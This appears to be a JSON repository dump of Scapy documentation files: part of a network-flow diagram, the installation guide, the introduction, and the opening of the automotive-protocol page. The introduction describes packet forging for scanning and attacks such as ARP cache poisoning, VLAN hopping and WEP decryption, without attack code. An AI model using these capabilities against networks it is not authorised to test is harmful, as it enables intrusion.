width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"324.56000000000006\" y=\"196.2\" as=\"sourcePoint\" />\n            <mxPoint x=\"350\" y=\"190\" as=\"targetPoint\" />\n            <Array as=\"points\">\n              <mxPoint x=\"280\" y=\"190\" />\n            </Array>\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"gbJlk89orvP5wBzR6b9x-28\" value=\"DROP\" style=\"edgeLabel;html=1;align=center;verticalAlign=middle;resizable=0;points=[];labelBackgroundColor=#CCFFFF;\" vertex=\"1\" connectable=\"0\" parent=\"gbJlk89orvP5wBzR6b9x-26\">\n          <mxGeometry x=\"0.0146\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"90\" y=\"-10\" as=\"offset\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"gbJlk89orvP5wBzR6b9x-29\" value=\"\" style=\"curved=0;endArrow=classic;html=1;rounded=0;entryX=0;entryY=0.5;entryDx=0;entryDy=0;dashed=1;exitX=0;exitY=0.5;exitDx=0;exitDy=0;\" edge=\"1\" parent=\"1\" source=\"gbJlk89orvP5wBzR6b9x-1\" target=\"gbJlk89orvP5wBzR6b9x-30\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"281\" y=\"195\" as=\"sourcePoint\" />\n            <mxPoint x=\"338\" y=\"228\" as=\"targetPoint\" />\n            <Array as=\"points\">\n              <mxPoint x=\"290\" y=\"320\" />\n            </Array>\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"gbJlk89orvP5wBzR6b9x-30\" value=\"data\" style=\"rounded=0;whiteSpace=wrap;html=1;fillColor=#fff2cc;strokeColor=#d6b656;fontSize=9;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"323.5\" y=\"309\" width=\"22\" height=\"20\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"gbJlk89orvP5wBzR6b9x-31\" value=\"\" style=\"curved=0;endArrow=none;html=1;rounded=0;entryX=1;entryY=0.5;entryDx=0;entryDy=0;exitX=1;exitY=0.5;exitDx=0;exitDy=0;dashed=1;startFill=0;\" edge=\"1\" parent=\"1\" source=\"gbJlk89orvP5wBzR6b9x-33\" target=\"gbJlk89orvP5wBzR6b9x-1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"388\" y=\"230\" as=\"sourcePoint\" />\n            <mxPoint x=\"439.68000000000006\" y=\"194.2\" as=\"targetPoint\" />\n            <Array as=\"points\">\n              <mxPoint x=\"410\" y=\"319\" />\n            </Array>\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"gbJlk89orvP5wBzR6b9x-32\" value=\"FORWARD_REPLACE\" style=\"edgeLabel;html=1;align=center;verticalAlign=middle;resizable=0;points=[];labelBackgroundColor=#CCFFFF;\" vertex=\"1\" connectable=\"0\" parent=\"1\">\n          <mxGeometry x=\"349.9976056338029\" y=\"340\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"gbJlk89orvP5wBzR6b9x-33\" value=\"data\" style=\"rounded=0;whiteSpace=wrap;html=1;fillColor=#d5e8d4;strokeColor=#82b366;fontSize=9;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"354.5\" y=\"309\" width=\"22\" height=\"20\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"gbJlk89orvP5wBzR6b9x-38\" value=\"\" style=\"curved=1;endArrow=classic;html=1;rounded=0;entryX=0;entryY=0.5;entryDx=0;entryDy=0;dashed=1;exitX=0;exitY=0.5;exitDx=0;exitDy=0;\" edge=\"1\" parent=\"1\" source=\"gbJlk89orvP5wBzR6b9x-1\" target=\"gbJlk89orvP5wBzR6b9x-39\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"250\" y=\"220\" as=\"sourcePoint\" />\n            <mxPoint x=\"260\" y=\"300\" as=\"targetPoint\" />\n            <Array as=\"points\">\n              <mxPoint x=\"270\" y=\"250\" />\n            </Array>\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"gbJlk89orvP5wBzR6b9x-39\" value=\"data\" style=\"rounded=0;whiteSpace=wrap;html=1;fillColor=#fff2cc;strokeColor=#d6b656;fontSize=9;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"323.5\" y=\"220\" width=\"22\" height=\"20\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"gbJlk89orvP5wBzR6b9x-40\" value=\"data\" style=\"rounded=0;whiteSpace=wrap;html=1;fillColor=#d5e8d4;strokeColor=#82b366;fontSize=9;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"354.5\" y=\"220\" width=\"22\" height=\"20\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"gbJlk89orvP5wBzR6b9x-41\" value=\"\" style=\"curved=1;endArrow=classic;html=1;rounded=0;entryX=0.999;entryY=0.616;entryDx=0;entryDy=0;dashed=1;exitX=1;exitY=0.5;exitDx=0;exitDy=0;entryPerimeter=0;\" edge=\"1\" parent=\"1\" source=\"gbJlk89orvP5wBzR6b9x-40\" target=\"gbJlk89orvP5wBzR6b9x-6\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"291\" y=\"206\" as=\"sourcePoint\" />\n            <mxPoint x=\"348\" y=\"290\" as=\"targetPoint\" />\n            <Array as=\"points\">\n              <mxPoint x=\"410\" y=\"230\" />\n              <mxPoint x=\"410\" y=\"260\" />\n              <mxPoint x=\"290\" y=\"250\" />\n              <mxPoint x=\"290\" y=\"290\" />\n            </Array>\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"gbJlk89orvP5wBzR6b9x-44\" value=\"ANSWER\" style=\"edgeLabel;html=1;align=center;verticalAlign=middle;resizable=0;points=[];labelBackgroundColor=#CCFFFF;\" vertex=\"1\" connectable=\"0\" parent=\"gbJlk89orvP5wBzR6b9x-41\">\n          <mxGeometry x=\"0.0262\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"41\" y=\"2\" as=\"offset\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"gbJlk89orvP5wBzR6b9x-45\" value=\"&lt;div&gt;Other server&lt;/div&gt;&lt;font style=&quot;font-size: 10px;&quot;&gt;192.168.0.2&lt;/font&gt;\" style=\"rounded=1;whiteSpace=wrap;html=1;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"510\" y=\"350\" width=\"120\" height=\"60\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"gbJlk89orvP5wBzR6b9x-46\" value=\"\" style=\"curved=0;endArrow=classic;html=1;rounded=0;dashed=1;exitX=0;exitY=0.5;exitDx=0;exitDy=0;entryX=0;entryY=0.5;entryDx=0;entryDy=0;\" edge=\"1\" parent=\"1\" source=\"gbJlk89orvP5wBzR6b9x-1\" target=\"gbJlk89orvP5wBzR6b9x-45\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"270\" y=\"290\" as=\"sourcePoint\" />\n            <mxPoint x=\"430\" y=\"460\" as=\"targetPoint\" />\n            <Array as=\"points\">\n              <mxPoint x=\"280\" y=\"380\" />\n            </Array>\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"gbJlk89orvP5wBzR6b9x-47\" value=\"REDIRECT_TO\" style=\"edgeLabel;html=1;align=center;verticalAlign=middle;resizable=0;points=[];labelBackgroundColor=#CCFFFF;\" vertex=\"1\" connectable=\"0\" parent=\"gbJlk89orvP5wBzR6b9x-46\">\n          <mxGeometry x=\"-0.0911\" y=\"-1\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"26\" y=\"-1\" as=\"offset\" />\n          </mxGeometry>\n        </mxCell>\n      </root>\n    </mxGraphModel>\n  </diagram>\n</mxfile>\n"
  },
  {
    "path": "doc/scapy/index.rst",
    "content": ".. Scapy documentation master file, created by sphinx-quickstart on Mon Sep  8 19:37:39 2008.\n   You can adapt this file completely to your liking, but it should at least\n   contain the root `toctree` directive.\n\nWelcome to Scapy's documentation!\n=================================\n\n.. image:: graphics/scapy_logo.png\n   :scale: 20\n   :align: center\n\n:Version: |version|\n:Release: |release|\n:Date: |today|\n\nScapy's documentation is under a `Creative Commons Attribution - Non-Commercial \n- Share Alike 2.5 <http://creativecommons.org/licenses/by-nc-sa/2.5/>`_ license.\n\n.. toctree::\n   :maxdepth: 2\n   :caption: General documentation\n   \n   introduction\n   installation\n   \n   usage\n   advanced_usage/index.rst\n   routing\n\n.. toctree::\n   :maxdepth: 2\n   :caption: Extend scapy\n\n   extending\n   build_dissect\n   functions\n\n.. toctree::\n   :maxdepth: 2\n   :caption: Layer-specific documentation\n   :glob:\n\n   layers/index.rst\n\n.. toctree::\n   :maxdepth: 2\n   :caption: About\n\n   troubleshooting\n   development\n   backmatter\n\n.. only:: html\n\n    .. toctree::\n       :maxdepth: 1\n       :titlesonly:\n       :caption: API Reference\n\n       api/scapy.rst\n \n"
  },
  {
    "path": "doc/scapy/installation.rst",
    "content": ".. highlight:: sh\n\n*************************\nDownload and Installation\n*************************\n\nOverview\n========\n\n 0. Install `Python 3.7+ <https://www.python.org/downloads/>`_.\n 1. `Download and install Scapy. <#installing-scapy-v2-x>`_\n 2. `Follow the platform-specific instructions (dependencies) <#platform-specific-instructions>`_.\n 3. (Optional): `Install additional software for special features <#optional-software-for-special-features>`_.\n 4. Run Scapy with root privileges.\n \nEach of these steps can be done in a different way depending on your platform and on the version of Scapy you want to use.  Follow the platform-specific instructions for more detail.\n\nScapy versions\n==============\n\n.. note:: Scapy 2.5.0 was the last version to support Python 2.7 !\n\n+------------------+-------+-------+--------+\n| Scapy version    | 2.3.3 | 2.5.0 | >2.5.0 |\n+==================+=======+=======+========+\n| Python 2.2-2.6   | ✅    | ❌    | ❌     |\n+------------------+-------+-------+--------+\n| Python 2.7       | ✅    | ✅    | ❌     |\n+------------------+-------+-------+--------+\n| Python 3.4-3.6   | ❌    | ✅    | ❌     |\n+------------------+-------+-------+--------+\n| Python 3.7-3.11  | ❌    | ✅    | ✅     |\n+------------------+-------+-------+--------+\n\nInstalling Scapy v2.x\n=====================\n\nThe following steps describe how to install (or update) Scapy itself.\nDependent on your platform, some additional libraries might have to be installed to make it actually work. \nSo please also have a look at the platform specific chapters on how to install those requirements.\n\n.. note::\n\n   The following steps apply to Unix-like operating systems (Linux, BSD, Mac OS X). \n   For Windows, see the  `special chapter <#windows>`_ below.\n\nMake sure you have Python installed before you go on.\n\nLatest release\n--------------\n\n.. note::\n   To get the latest versions, with bugfixes and new features, but maybe not as stable, see the `development version <#current-development-version>`_.\n\nUse pip::\n\n$ pip install scapy\n\n..\n    !! COMMENTED UNTIL NEXT RELEASE !!\n    Scapy specifies ``optional-dependencies`` so that you can install its optional dependencies directly through pip:\n\n    +----------+------------------------------------------+-----------------------------+\n    | Bundle   | Contains                                 | Pip command                 |\n    +==========+==========================================+=============================+\n    | Default  | Only Scapy                               | ``pip install scapy``       |\n    +----------+------------------------------------------+-----------------------------+\n    | CLI      | Scapy & IPython. **Highly recommended**  | ``pip install scapy[cli]``  |\n    +----------+------------------------------------------+-----------------------------+\n    | All      | Scapy & all its optional dependencies    | ``pip install scapy[all]``  |\n    +----------+------------------------------------------+-----------------------------+\n\n \nCurrent development version\n----------------------------\n\n.. index::\n   single: Git, repository\n\nIf you always want the latest version of Scapy with all new the features and bugfixes (but slightly less stable), you can install Scapy from its Git repository.\n\n.. note:: If you don't want to clone Scapy, you can install the development version in one line using::\n\n    $ pip install https://github.com/secdev/scapy/archive/refs/heads/master.zip\n\n1. Check out a clone of Scapy's repository with `git <https://git-scm.com/book/en/v2/Getting-Started-Installing-Git>`_::\n\n   $ git clone https://github.com/secdev/scapy.git\n   $ cd scapy\n\n2. Install Scapy using `pip <https://docs.python.org/dev/installing/index.html>`_:: \n\n   $ pip install .\n\n3. If you used Git, you can always update to the latest version afterwards::\n\n   $ git pull\n   $ pip install .\n\n.. note::\n\n   You can run scapy without installing it using the ``run_scapy`` (unix) or ``run_scapy.bat`` (Windows) script.\n\nOptional Dependencies\n=====================\n\nFor some special features, Scapy will need some dependencies to be installed.\nMost of those software are installable via ``pip``.\nHere are the topics involved and some examples that you can use to try if your installation was successful.\n\n.. index::\n   single: plot()\n\n* Plotting. ``plot()`` needs `Matplotlib <https://matplotlib.org/>`_.\n\n  Matplotlib is installable via ``pip install matplotlib``\n \n  .. code-block:: python\n   \n    >>> p=sniff(count=50)\n    >>> p.plot(lambda x:len(x))\n \n* 2D graphics. ``psdump()`` and ``pdfdump()`` need `PyX <http://pyx.sourceforge.net/>`_ which in turn needs a LaTeX distribution: `texlive (Unix) <http://www.tug.org/texlive/>`_ or `MikTex (Windows) <https://miktex.org/>`_.\n  \n  You can install pyx using ``pip install pyx``\n  \n  .. code-block:: python\n   \n    >>> p=IP()/ICMP()\n    >>> p.pdfdump(\"test.pdf\") \n \n* Graphs. ``conversations()`` needs `Graphviz <http://www.graphviz.org/>`_ and `ImageMagick <http://www.imagemagick.org/>`_.\n \n  .. code-block:: python\n\n    >>> p=rdpcap(\"myfile.pcap\")\n    >>> p.conversations(type=\"jpg\", target=\"> test.jpg\")\n\n  .. note::\n    ``Graphviz`` and ``ImageMagick`` need to be installed separately, using your platform-specific package manager.\n\n* 3D graphics. ``trace3D()`` needs `VPython-Jupyter <https://github.com/vpython/vpython-jupyter/>`_.\n\n  VPython-Jupyter is installable via ``pip install vpython``\n\n  .. code-block:: python\n\n    >>> a,u=traceroute([\"www.python.org\", \"google.com\",\"slashdot.org\"])\n    >>> a.trace3D()\n\n.. index::\n   single: WEP, unwep()\n\n* WEP decryption. ``unwep()`` needs `cryptography <https://cryptography.io>`_. Example using a `Weplap test file <http://weplab.sourceforge.net/caps/weplab-64bit-AA-managed.pcap>`_:\n\n  Cryptography is installable via ``pip install cryptography``\n\n  .. code-block:: python\n\n    >>> enc=rdpcap(\"weplab-64bit-AA-managed.pcap\")\n    >>> enc.show()\n    >>> enc[0]\n    >>> conf.wepkey=\"AA\\x00\\x00\\x00\"\n    >>> dec=Dot11PacketList(enc).toEthernet()\n    >>> dec.show()\n    >>> dec[0]\n \n* PKI operations and TLS decryption. `cryptography <https://cryptography.io>`_ is also needed.\n\n* Fingerprinting. ``nmap_fp()`` needs `Nmap <http://nmap.org>`_. You need an `old version <http://nmap.org/dist-old/>`_ (before v4.23) that still supports first generation fingerprinting.\n\n  .. code-block:: python \n  \n    >>> load_module(\"nmap\")\n    >>> nmap_fp(\"192.168.0.1\")\n    Begin emission:\n    Finished to send 8 packets.\n    Received 19 packets, got 4 answers, remaining 4 packets\n    (0.88749999999999996, ['Draytek Vigor 2000 ISDN router'])\n \n* VOIP. ``voip_play()`` needs `SoX <http://sox.sourceforge.net/>`_.\n\nPlatform-specific instructions\n==============================\n\nAs a general rule, you can toggle the **libpcap** integration `on` or `off` at any time, using::\n\n    from scapy.config import conf\n    conf.use_pcap = True\n\nLinux native\n------------\n\nScapy can run natively on Linux, without libpcap.\n\n* Install `Python 3.7+ <http://www.python.org>`__.\n* Install `libpcap <http://www.tcpdump.org>`_. (By default it will only be used to compile BPF filters)\n* Make sure your kernel has Packet sockets selected (``CONFIG_PACKET``)\n* If your kernel is < 2.6, make sure that Socket filtering is selected ``CONFIG_FILTER``) \n\nDebian/Ubuntu/Fedora\n--------------------\n\nMake sure libpcap is installed:\n\n- Debian/Ubuntu:\n\n.. code-block:: text\n\n    $ sudo apt-get install libpcap-dev\n\n- Fedora:\n\n.. code-block:: text\n\n\t$ yum install libpcap-devel\n\nThen install Scapy via ``pip`` or ``apt`` (bundled under ``python3-scapy``)\nAll dependencies may be installed either via the platform-specific installer, or via PyPI. See `Optional Dependencies <#optional-dependencies>`_ for more information.\n\n\nMac OS X\n--------\n\nOn Mac OS X, Scapy **DOES work natively** since the recent versions.\nHowever, you may want to make Scapy use libpcap.\nYou can choose to install it using either Homebrew or MacPorts. They both\nwork fine, yet Homebrew is used to run unit tests with\n`Travis CI <https://travis-ci.org>`_. \n\n.. note:: \n    Libpcap might already be installed on your platform (for instance, if you have tcpdump). This is the case of `OSX <https://developer.apple.com/library/archive/documentation/System/Conceptual/ManPages_iPhoneOS/man3/pcap.3.html>`_\n\nInstall using Homebrew\n^^^^^^^^^^^^^^^^^^^^^^\n\n1. Update Homebrew::\n\n   $ brew update\n\n2. Install libpcap::\n\n   $ brew install libpcap\n\nEnable it In Scapy::\n\n    conf.use_pcap = True\n\nInstall using MacPorts\n^^^^^^^^^^^^^^^^^^^^^^\n\n1. Update MacPorts::\n\n   $ sudo port -d selfupdate\n\n2. Install libpcap::\n\n   $ sudo port install libpcap\n\nEnable it In Scapy::\n\n    conf.use_pcap = True\n\nOpenBSD\n-------\n\nIn a similar manner, to install Scapy on OpenBSD 5.9+, you **may** want to install libpcap, if you do not want to use the native extension:\n\n.. code-block:: text\n\n\t$ doas pkg_add libpcap\n\nThen install Scapy via ``pip`` or ``pkg_add`` (bundled under ``python-scapy``)\nAll dependencies may be installed either via the platform-specific installer, or via PyPI. See `Optional Dependencies <#optional-dependencies>`_ for more information.\n\nSunOS / Solaris\n---------------\n\nSolaris / SunOS requires ``libpcap`` (installed by default) to work.\n\n.. note::\n    In fact, Solaris doesn't support `AF_PACKET`, which Scapy uses on Linux, but rather uses its own system `DLPI`. See `this page <https://www.oracle.com/technetwork/server-storage/solaris/solaris-linux-app-139382.html>`_.\n    We prefer using the very universal `libpcap` that spending time implementing support for `DLPI`.\n\n.. _windows_installation:\n\nWindows\n-------\n\nYou need to install Npcap in order to install Scapy on Windows (should also work with Winpcap, but unsupported nowadays):\n\n  * Download link: `Npcap <https://nmap.org/npcap/>`_: `the latest version <https://nmap.org/npcap/#download>`_\n  * During installation:\n      * we advise to turn **off** the ``Winpcap compatibility mode``\n      * if you want to use your wifi card in monitor mode (if supported), make sure you enable the ``802.11`` option\n\nOnce that is done, you can `continue with Scapy's installation <#latest-release>`_.\n\nYou should then be able to open a ``cmd.exe`` and just call ``scapy``. If not, you probably haven't enabled the \"Add Python to PATH\" option when installing Python. You can follow the instructions `over here <https://docs.python.org/3/using/windows.html#finding-the-python-executable>`_ to change that (or add it manually).\n\nScreenshots\n^^^^^^^^^^^\n\n.. image:: graphics/scapy-win-screenshot1.png\n   :scale: 80\n   :align: center\n\n.. image:: graphics/scapy-win-screenshot2.png\n   :scale: 80\n   :align: center\n\nBuild the documentation offline\n===============================\n\nThe Scapy project's documentation is written using reStructuredText (files \\*.rst) and can be built using\nthe `Sphinx <http://www.sphinx-doc.org/>`_ python library. The official online version is available\non `readthedocs <http://scapy.readthedocs.io/>`_.\n\nHTML version\n------------\nThe instructions to build the HTML version are: ::\n\n   (activate a virtualenv)\n   pip install sphinx\n   cd doc/scapy\n   make html\n\nYou can now open the resulting HTML file ``_build/html/index.html`` in your favorite web browser.\n\nTo use the ReadTheDocs' template, you will have to install the corresponding theme with: ::\n\n   pip install sphinx_rtd_theme\n\nUML diagram\n-----------\nUsing ``pyreverse`` you can build a UML representation of the Scapy source code's object hierarchy. Here is an\nexample of how to build the inheritance graph for the Fields objects : ::\n\n   (activate a virtualenv)\n   pip install pylint\n   cd scapy/\n   pyreverse -o png -p fields scapy/fields.py\n\nThis will generate a ``classes_fields.png`` picture containing the inheritance hierarchy. Note that you can provide as many\nmodules or packages as you want, but the result will quickly get unreadable.\n\nTo see the dependencies between the DHCP layer and the ansmachine module, you can run: ::\n\n   pyreverse -o png -p dhcp_ans scapy/ansmachine.py scapy/layers/dhcp.py scapy/packet.py\n\nIn this case, Pyreverse will also generate a ``packages_dhcp_ans.png`` showing the link between the different python modules provided.\n"
  },
  {
    "path": "doc/scapy/introduction.rst",
    "content": "************\nIntroduction\n************\n\n.. sectionauthor:: Philippe Biondi <phil at secdev.org>\n\nAbout Scapy\n===========\n\nScapy is a Python program that enables the user to send, sniff, dissect and forge network packets. This capability allows construction of tools that can probe, scan or attack networks.\n\nIn other words, Scapy is a powerful interactive packet manipulation program. It is able to forge or decode packets of a wide number of protocols, send them on the wire, capture them, match requests and replies, and much more. Scapy can easily handle most classical tasks like scanning, tracerouting, probing, unit tests, attacks or network discovery. It can replace hping, arpspoof, arp-sk, arping, p0f and even some parts of Nmap, tcpdump, and tshark.\n\n.. image:: graphics/testing-taxonomy.*\n   :scale: 50\n\nScapy also performs very well on a lot of other specific tasks that most other tools can't handle, like sending invalid frames, injecting your own 802.11 frames, combining techniques (VLAN hopping+ARP cache poisoning, VOIP decoding on WEP encrypted channel, ...), etc.\n\nThe idea is simple. Scapy mainly does two things: sending packets and receiving answers. You define a set of packets, it sends them, receives answers, matches requests with answers and returns a list of packet couples (request, answer) and a list of unmatched packets. This has the big advantage over tools like Nmap or hping that an answer is not reduced to open, closed, or filtered, but is the whole packet.\n\nOn top of this can be built more high level functions. For example, one that does traceroutes and give as a result only the start TTL of the request and the source IP of the answer. One that pings a whole network and gives the list of machines answering. One that does a portscan and returns a LaTeX report.\n\nWhat makes Scapy so special\n===========================\n\nFirst, with most other networking tools, you won't build something the author didn't imagine. These tools have been built for a specific goal and can't deviate much from it. For example, an ARP cache poisoning program won't let you use double 802.1q encapsulation. Or try to find a program that can send, say, an ICMP packet with padding (I said *padding*, not *payload*, see?). In fact, each time you have a new need, you have to build a new tool.\n\nSecond, they usually confuse decoding and interpreting. Machines are good at decoding and can help human beings with that. Interpretation is reserved for human beings. Some programs try to mimic this behavior. For instance they say \"*this port is open*\" instead of \"*I received a SYN-ACK*\". Sometimes they are right. Sometimes not. It's easier for beginners, but when you know what you're doing, you keep on trying to deduce what really happened from the program's interpretation to make your own, which is hard because you lost a big amount of information. And you often end up using ``tcpdump -xX`` to decode and interpret what the tool missed.\n\nThird, even programs which only decode do not give you all the information they received. The vision of the network they give you is the one their author thought was sufficient. But it is not complete, and you have a bias. For instance, do you know a tool that reports the Ethernet padding?\n\nScapy tries to overcome those problems. It enables you to build exactly the packets you want. Even if I think stacking an 802.1q layer on top of TCP has no sense, it may have some for somebody else working on some product I don't know. Scapy has a flexible model that tries to avoid such arbitrary limits. You're free to put any value you want in any field you want and stack them like you want. You're an adult after all.\n\nIn fact, it's like building a new tool each time, but instead of dealing with a hundred line C program, you only write 2 lines of Scapy.\n\nAfter a probe (scan, traceroute, etc.) Scapy always gives you the full decoded packets from the probe, before any interpretation. That means that you can probe once and interpret many times. Ask for a traceroute and look at the padding, for instance.\n\nFast packet design\n------------------\n\nOther tools stick to the **program-that-you-run-from-a-shell** paradigm. The result is an awful syntax to describe a packet. For these tools, the solution adopted uses a higher but less powerful description, in the form of scenarios imagined by the tool's author. As an example, only the IP address must be given to a port scanner to trigger the **port scanning** scenario. Even if the scenario is tweaked a bit, you still are stuck to a port scan.\n\nScapy's paradigm is to propose a Domain Specific Language (DSL) that enables a powerful and fast description of any kind of packet. Using the Python syntax and a Python interpreter as the DSL syntax and interpreter has many advantages: there is no need to write a separate interpreter, users don't need to learn yet another language, and they benefit from a complete, concise, and very powerful language.\n\nScapy enables the user to describe a packet or set of packets as layers that are stacked one upon another. Fields of each layer have useful default values that can be overloaded. Scapy does not oblige the user to use predetermined methods or templates. This alleviates the requirement of writing a new tool each time a different scenario is required. In C, it may take an average of 60 lines to describe a packet. With Scapy, the packets to be sent may be described in only a single line, with another line to print the result. 90\\% of network probing tools can be rewritten in 2 lines of Scapy.\n\nProbe once, interpret many\n--------------------------\n\nNetwork discovery is blackbox testing. When probing a network, many stimuli are sent, while only a few of them are answered. If the right stimuli are chosen, the desired information may be obtained by the responses or the lack of responses. Unlike many tools, Scapy gives all the information, i.e. all the stimuli sent and all the responses received. Examination of this data will give the user the desired information. When the dataset is small, the user can just dig for it. In other cases, the interpretation of the data will depend on the point of view taken. Most tools choose the viewpoint and discard all the data not related to that point of view. Because Scapy gives the complete raw data, that data may be used many times allowing the viewpoint to evolve during analysis. For example, a TCP port scan may be probed and the data visualized as the result of the port scan. The data could then also be visualized with respect to the TTL of the response packet. A new probe need not be initiated to adjust the viewpoint of the data.\n\n.. image:: graphics/scapy-concept.*\n   :scale: 80\n\nScapy decodes, it does not interpret\n------------------------------------\n\nA common problem with network probing tools is they try to interpret the answers received instead of only decoding and giving facts. Reporting something like **Received a TCP Reset on port 80** is not subject to interpretation errors. Reporting **Port 80 is closed** is an interpretation that may be right most of the time but wrong in some specific contexts the tool's author did not imagine. For instance, some scanners tend to report a filtered TCP port when they receive an ICMP destination unreachable packet. This may be right, but in some cases, it means the packet was not filtered by the firewall, but rather there was no host to forward the packet to.\n\nInterpreting results can help users that don't know what a port scan is, but it can also make more harm than good, as it injects bias into the results. What can tend to happen is that knowledgeable users will try to reverse engineer the tool's interpretation to derive the facts that triggered that interpretation, so that they can do the interpretation themselves. Unfortunately, much information is lost in this operation.\n\nQuick demo\n==========\n\nFirst, we play a bit and create four IP packets at once. Let's see how it works. We first instantiate the IP class. Then, we instantiate it again and we provide a destination that is worth four IP addresses (/30 gives the netmask). Using a Python idiom, we develop this implicit packet in a set of explicit packets. Then, we quit the interpreter. As we provided a session file, the variables we were working on are saved, then reloaded::\n\n    # ./run_scapy -s mysession\n    New session [mysession]\n    Welcome to Scapy (2.4.0)\n    >>> IP()\n    <IP |>\n    >>> target=\"www.target.com/30\"\n    >>> ip=IP(dst=target)\n    >>> ip\n    <IP dst=<Net www.target.com/30> |>\n    >>> [p for p in ip]\n    [<IP dst=207.171.175.28 |>, <IP dst=207.171.175.29 |>,\n     <IP dst=207.171.175.30 |>, <IP dst=207.171.175.31 |>]\n    >>> ^D\n\n::\n\n    # ./run_scapy -s mysession\n    Using session [mysession]\n    Welcome to Scapy (2.4.0)\n    >>> ip\n    <IP dst=<Net www.target.com/30> |>\n\nNow, let's manipulate some packets::\n\n    >>> IP()\n    <IP |>\n    >>> a=IP(dst=\"172.16.1.40\")\n    >>> a\n    <IP dst=172.16.1.40 |>\n    >>> a.dst\n    '172.16.1.40'\n    >>> a.ttl\n    64\n\nLet's say I want a broadcast MAC address, and IP payload to ketchup.com and to mayo.com, TTL value from 1 to 9, and an UDP payload::\n\n    >>> Ether(dst=\"ff:ff:ff:ff:ff:ff\")\n          /IP(dst=[\"ketchup.com\",\"mayo.com\"],ttl=(1,9))\n          /UDP()\n\nWe have 18 packets defined in 1 line (1 implicit packet)\n\nSensible default values\n-----------------------\n\nScapy tries to use sensible default values for all packet fields. If not overridden,\n\n* IP source is chosen according to destination and routing table\n* Checksum is computed\n* Source MAC is chosen according to the output interface\n* Ethernet type and IP protocol are determined by the upper layer\n\n.. image:: graphics/default-values-ip.png\n   :scale: 60\n\nOther fields’ default values are chosen to be the most useful ones:\n\n* TCP source port is 20, destination port is 80.\n* UDP source and destination ports are 53.\n* ICMP type is echo request.\n\nLearning Python\n===============\n\nScapy uses the Python interpreter as a command board. That means that you can directly use the Python language (assign variables, use loops, define functions, etc.)\n\nIf you are new to Python and you really don't understand a word because of that, or if you want to learn this language, take an hour to read the very good `Python tutorial <http://docs.python.org/tutorial/>`_  by Guido Van Rossum. After that, you'll know Python :) (really!). For a more in-depth tutorial `Dive Into Python <http://getpython3.com/diveintopython3/index.html>`_ is a very good start too.\n\n"
  },
  {
    "path": "doc/scapy/layers/automotive.rst",
    "content": ".. note:: This document is under a `Creative Commons Attribution - Non-Commercial - Share Alike 2.5 <http://creativecommons.org/licenses/by-nc-sa/2.5/>`_ license.\n\n#################################\nAutomotive-specific Documentation\n#################################\n\n.. sectionauthor:: Nils Weiss <nils@we155.de>\n\n********\nOverview\n********\n\n.. note::\n    All automotive-related features work best on Linux systems. CANSockets and ISOTPSockets are based on Linux kernel modules. The python-can project is used to support CAN and CANSockets on a wider range of operating systems and CAN hardware interfaces.\n\nProtocols\n=========\n\nThe following table should give a brief overview of all the automotive-related capabilities\nof Scapy. Most application layer protocols have many specialized ``Packet`` classes.\nThese special-purpose ``Packets`` are not part of this overview. Use the ``explore()``\nfunction to get all information about one specific protocol.\n\n+----------------------+----------------------+--------------------------------------------------------+\n| OSI Layer            | Protocol             | Scapy Implementations                                  |\n+======================+======================+========================================================+\n| Application Layer    | UDS (ISO 14229)      | UDS, UDS_*, UDS_TesterPresentSender                    |\n|                      +----------------------+--------------------------------------------------------+\n|                      | GMLAN                | GMLAN, GMLAN_*, GMLAN_[Utilities]                      |\n|                      +----------------------+--------------------------------------------------------+\n|                      | SOME/IP              | SOMEIP, SD                                             |\n|                      +----------------------+--------------------------------------------------------+\n|                      | BMW HSFZ             | HSFZ, HSFZSocket, UDS_HSFZSocket                       |\n|                      +----------------------+--------------------------------------------------------+\n|                      | OBD                  | OBD, OBD_S0[0-9A]                                      |\n|                      +----------------------+--------------------------------------------------------+\n|                      | CCP                  | CCP, DTO, CRO                                          |\n|                      +----------------------+--------------------------------------------------------+\n|                      | XCP                  | XCPOnCAN, XCPOnUDP, XCPOnTCP, CTORequest, CTOResponse, |\n|                      |                      | DTO                                                    |\n+----------------------+----------------------+--------------------------------------------------------+\n| Transportation Layer | ISO-TP (ISO 15765-2) | ISOTPSocket, ISOTPNativeSocket, ISOTPSoftSocket        |\n|                      |                      |                                                        |\n|                      |                      | ISOTPSniffer, ISOTPMessageBuilder, ISOTPSession        |\n|                      |                      |                                                        |\n|                      |                      | ISOTPHeader, ISOTPHeaderEA, isotp_scan                 |\n|                      |                      |                                                        |\n|                      |                      | ISOTP, ISOTP_SF, ISOTP_FF, ISOTP_CF, ISOTP_FC          |\n+----------------------+----------------------+--------------------------------------------------------+\n| Data Link Layer      | CAN (ISO 11898)      | CAN, CANSocket, rdcandump, CandumpReader               